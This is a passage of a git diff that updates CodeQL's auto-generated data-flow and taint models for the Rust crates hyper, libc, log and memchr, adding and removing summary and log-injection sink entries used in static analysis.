"dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::wants_read_again", "Argument[self].Field[crate::proto::h1::conn::Conn::state].Field[crate::proto::h1::conn::State::notify_read]", "ReturnValue", "value", "dfc-generated"] @@ -147,12 +152,14 @@ extensions: - ["repo:https://github.com/hyperium/hyper:hyper", "::write_buf", "Argument[self].Field[crate::proto::h1::io::Buffered::write_buf]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::remaining", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::proto::h1::io::Cursor::bytes]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::remaining", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::is_terminated", "Argument[self].Field[crate::proto::h2::client::ConnMapErr::is_terminated]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::for_stream", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[1]", "ReturnValue.Field[crate::proto::h2::server::Server::service]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[2].Field[crate::proto::h2::server::Config::date_header]", "ReturnValue.Field[crate::proto::h2::server::Server::date_header]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[3]", "ReturnValue.Field[crate::proto::h2::server::Server::exec]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[4]", "ReturnValue.Field[crate::proto::h2::server::Server::timer]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::into_dyn_task_type", "Argument[self].Field[crate::result::Result::Err(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::init_len", "Argument[self].Field[crate::rt::io::ReadBuf::init]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::len", "Argument[self].Field[crate::rt::io::ReadBuf::filled]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -210,14 +217,11 @@ extensions: - ["repo:https://github.com/hyperium/hyper:hyper", "::max_header_list_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::max_local_error_reset_streams", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::max_pending_accept_reset_streams", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/hyperium/hyper:hyper", "::max_send_buf_size", "Argument[0]", "Argument[self].Field[crate::server::conn::http2::Builder::h2_builder].Field[crate::proto::h2::server::Config::max_send_buffer_size]", "value", "dfc-generated"] - - ["repo:https://github.com/hyperium/hyper:hyper", "::max_send_buf_size", "Argument[0]", "ReturnValue.Field[crate::server::conn::http2::Builder::h2_builder].Field[crate::proto::h2::server::Config::max_send_buffer_size]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::max_send_buf_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::server::conn::http2::Builder::exec]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::serve_connection", "Argument[1]", "ReturnValue.Field[crate::server::conn::http2::Connection::conn].Field[crate::proto::h2::server::Server::service]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::serve_connection", "Argument[self].Field[crate::server::conn::http2::Builder::exec].Reference", "ReturnValue.Field[crate::server::conn::http2::Connection::conn].Field[crate::proto::h2::server::Server::exec]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::serve_connection", "Argument[self].Field[crate::server::conn::http2::Builder::timer].Reference", "ReturnValue.Field[crate::server::conn::http2::Connection::conn].Field[crate::proto::h2::server::Server::timer]", "value", "dfc-generated"] - - ["repo:https://github.com/hyperium/hyper:hyper", "::serve_connection", "Argument[self].Field[crate::server::conn::http2::Builder::timer]", "ReturnValue.Field[crate::server::conn::http2::Connection::conn].Field[crate::proto::h2::server::Server::timer]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::timer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self].Field[crate::service::util::ServiceFn::f].Reference", "ReturnValue.Field[crate::service::util::ServiceFn::f]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self].Field[crate::service::util::ServiceFn::f]", "ReturnValue.Field[crate::service::util::ServiceFn::f]", "value", "dfc-generated"] @@ -229,15 +233,16 @@ extensions: - ["repo:https://github.com/hyperium/hyper:hyper", "::set_trailers", "Argument[0]", "Argument[self].Field[crate::support::trailers::StreamBodyWithTrailers::trailers].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::with_trailers", "Argument[0]", "ReturnValue.Field[crate::support::trailers::StreamBodyWithTrailers::stream]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::with_trailers", "Argument[1]", "ReturnValue.Field[crate::support::trailers::StreamBodyWithTrailers::trailers].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "crate::proto::h2::client::handshake", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::proto::h2::client::ClientTask::req_rx]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "crate::proto::h2::client::handshake", "Argument[3]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::proto::h2::client::ClientTask::executor]", "value", "dfc-generated"] - - ["repo:https://github.com/hyperium/hyper:hyper", "crate::proto::h2::ping::channel", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "crate::service::util::service_fn", "Argument[0]", "ReturnValue.Field[crate::service::util::ServiceFn::f]", "value", "dfc-generated"] - addsTo: pack: codeql/rust-all extensible: sinkModel data: - ["repo:https://github.com/hyperium/hyper:hyper", "::check", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::poll_drain_or_close_read", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::poll_read_body", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::write_body", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::write_body_and_end", "Argument[self]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc-test.model.yml b/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc-test.model.yml index 09c7a61c4f7..5fc2777e7d7 100644 --- a/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc-test.model.yml +++ b/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc-test.model.yml @@ -5,7 +5,6 @@ extensions: extensible: summaryModel data: - ["repo:https://github.com/rust-lang/libc:libc-test", "::check_file", "Argument[0]", "Argument[self]", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc-test", "::reset_state", "Argument[self].Field[crate::style::StyleChecker::errors]", "Argument[self].Reference.Field[crate::style::StyleChecker::errors]", "value", "dfc-generated"] - addsTo: pack: codeql/rust-all extensible: sinkModel diff --git a/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc.model.yml b/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc.model.yml index e8dc059dd9d..493fb1c1e16 100644 --- a/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc.model.yml +++ b/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc.model.yml @@ -4,25 +4,65 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: - - ["repo:https://github.com/rust-lang/libc:libc", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "::si_addr", "Argument[self].Field[crate::unix::bsd::apple::siginfo_t::si_addr]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "::si_pid", "Argument[self].Field[crate::unix::bsd::apple::siginfo_t::si_pid]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "::si_status", "Argument[self].Field[crate::unix::bsd::apple::siginfo_t::si_status]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "::si_uid", "Argument[self].Field[crate::unix::bsd::apple::siginfo_t::si_uid]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::QCMD", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::QCMD", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::WEXITSTATUS", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::WTERMSIG", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::CMSG_LEN", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::CMSG_NXTHDR", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::CMSG_SPACE", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::VM_MAKE_TAG", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::WSTOPSIG", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::_WSTATUS", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::major", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::makedev", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::makedev", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::minor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::CMSG_LEN", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::CMSG_SPACE", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::IPOPT_CLASS", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::IPOPT_COPIED", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::IPOPT_NUMBER", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::IPTOS_ECN", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::KERNEL_VERSION", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::KERNEL_VERSION", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::KERNEL_VERSION", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::QCMD", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::QCMD", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::WEXITSTATUS", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::WSTOPSIG", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::WTERMSIG", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::W_EXITCODE", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::W_EXITCODE", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::W_STOPCODE", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_CLASS", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_JUMP", "Argument[0]", "ReturnValue.Field[crate::unix::linux_like::linux::sock_filter::code]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_JUMP", "Argument[1]", "ReturnValue.Field[crate::unix::linux_like::linux::sock_filter::k]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_JUMP", "Argument[2]", "ReturnValue.Field[crate::unix::linux_like::linux::sock_filter::jt]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_JUMP", "Argument[3]", "ReturnValue.Field[crate::unix::linux_like::linux::sock_filter::jf]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_MISCOP", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_MODE", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_OP", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_RVAL", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_SIZE", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_SRC", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_STMT", "Argument[0]", "ReturnValue.Field[crate::unix::linux_like::linux::sock_filter::code]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_STMT", "Argument[1]", "ReturnValue.Field[crate::unix::linux_like::linux::sock_filter::k]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::CMSG_NXTHDR", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::CPU_ALLOC_SIZE", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::ELF32_R_INFO", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::ELF32_R_INFO", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::ELF32_R_SYM", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::ELF32_R_TYPE", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::ELF64_R_INFO", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::ELF64_R_INFO", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::ELF64_R_SYM", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::ELF64_R_TYPE", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::FUTEX_OP", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::FUTEX_OP", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::FUTEX_OP", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::FUTEX_OP", "Argument[3]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::IPTOS_PREC", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::IPTOS_TOS", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::NLA_ALIGN", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::RT_ADDRCLASS", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::RT_TOS", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::SCTP_PR_INDEX", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::SCTP_PR_POLICY", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::TPACKET_ALIGN", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::_IO", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::_IO", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::_IOR", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::_IOR", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::_IOW", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::_IOW", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::_IOWR", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::_IOWR", "Argument[1]", "ReturnValue", "taint", "df-generated"] diff --git a/rust/ql/lib/ext/generated/log/repo-https-github.com-rust-lang-log-log.model.yml b/rust/ql/lib/ext/generated/log/repo-https-github.com-rust-lang-log-log.model.yml index a894c71018f..f5df04600b6 100644 --- a/rust/ql/lib/ext/generated/log/repo-https-github.com-rust-lang-log-log.model.yml +++ b/rust/ql/lib/ext/generated/log/repo-https-github.com-rust-lang-log-log.model.yml @@ -7,7 +7,6 @@ extensions: - ["repo:https://github.com/rust-lang/log:log", "::level", "Argument[self].Field[crate::Metadata::level]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::target", "Argument[self].Field[crate::Metadata::target]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::build", "Argument[self].Field[crate::MetadataBuilder::metadata].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/log:log", "::build", "Argument[self].Field[crate::MetadataBuilder::metadata]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::level", "Argument[0]", "Argument[self].Field[crate::MetadataBuilder::metadata].Field[crate::Metadata::level]", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::level", "Argument[0]", "ReturnValue.Field[crate::MetadataBuilder::metadata].Field[crate::Metadata::level]", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::level", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -15,20 +14,17 @@ extensions: - ["repo:https://github.com/rust-lang/log:log", "::target", "Argument[0]", "ReturnValue.Field[crate::MetadataBuilder::metadata].Field[crate::Metadata::target]", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::target", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::args", "Argument[self].Field[crate::Record::args]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/log:log", "::file", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rust-lang/log:log", "::key_values", "Argument[self].Field[crate::Record::key_values].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::key_values", "Argument[self].Field[crate::Record::key_values].Field[crate::KeyValues(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::level", "Argument[self].Field[crate::Record::metadata].Field[crate::Metadata::level]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::line", "Argument[self].Field[crate::Record::line]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::metadata", "Argument[self].Field[crate::Record::metadata]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/log:log", "::module_path", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rust-lang/log:log", "::target", "Argument[self].Field[crate::Record::metadata].Field[crate::Metadata::target]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::to_builder", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rust-lang/log:log", "::args", "Argument[0]", "Argument[self].Field[crate::RecordBuilder::record].Field[crate::Record::args]", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::args", "Argument[0]", "ReturnValue.Field[crate::RecordBuilder::record].Field[crate::Record::args]", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::args", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::build", "Argument[self].Field[crate::RecordBuilder::record].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/log:log", "::build", "Argument[self].Field[crate::RecordBuilder::record]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::file", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::file_static", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::key_values", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -54,6 +50,5 @@ extensions: - ["repo:https://github.com/rust-lang/log:log", "::from_str", "Argument[0]", "ReturnValue.Field[crate::kv::key::Key::key]", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::to_borrowed_str", "Argument[self].Field[crate::kv::key::Key::key]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::to_value", "Argument[self].Field[crate::kv::value::Value::inner].Reference", "ReturnValue.Field[crate::kv::value::Value::inner]", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/log:log", "::to_value", "Argument[self].Field[crate::kv::value::Value::inner]", "ReturnValue.Field[crate::kv::value::Value::inner]", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::to_key", "Argument[self]", "ReturnValue.Field[crate::kv::key::Key::key]", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::to_key", "Argument[self]", "ReturnValue.Field[crate::kv::key::Key::key]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/memchr/repo-https-github.com-BurntSushi-memchr-memchr.model.yml b/rust/ql/lib/ext/generated/memchr/repo-https-github.com-BurntSushi-memchr-memchr.model.yml index 62617b2b033..2317865e696 100644 --- a/rust/ql/lib/ext/generated/memchr/repo-https-github.com-BurntSushi-memchr-memchr.model.yml +++ b/rust/ql/lib/ext/generated/memchr/repo-https-github.com-BurntSushi-memchr-memchr.model.yml @@ -4,24 +4,6 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::OneIter::searcher]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::One(0)].Field[crate::arch::generic::memchr::One::s1]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::aarch64::neon::memchr::OneIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::ThreeIter::searcher]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::Three(0)].Field[crate::arch::generic::memchr::Three::s1]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[1]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::Three(0)].Field[crate::arch::generic::memchr::Three::s2]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[2]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::Three(0)].Field[crate::arch::generic::memchr::Three::s3]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::aarch64::neon::memchr::ThreeIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::TwoIter::searcher]", "value", "dfc-generated"] - - 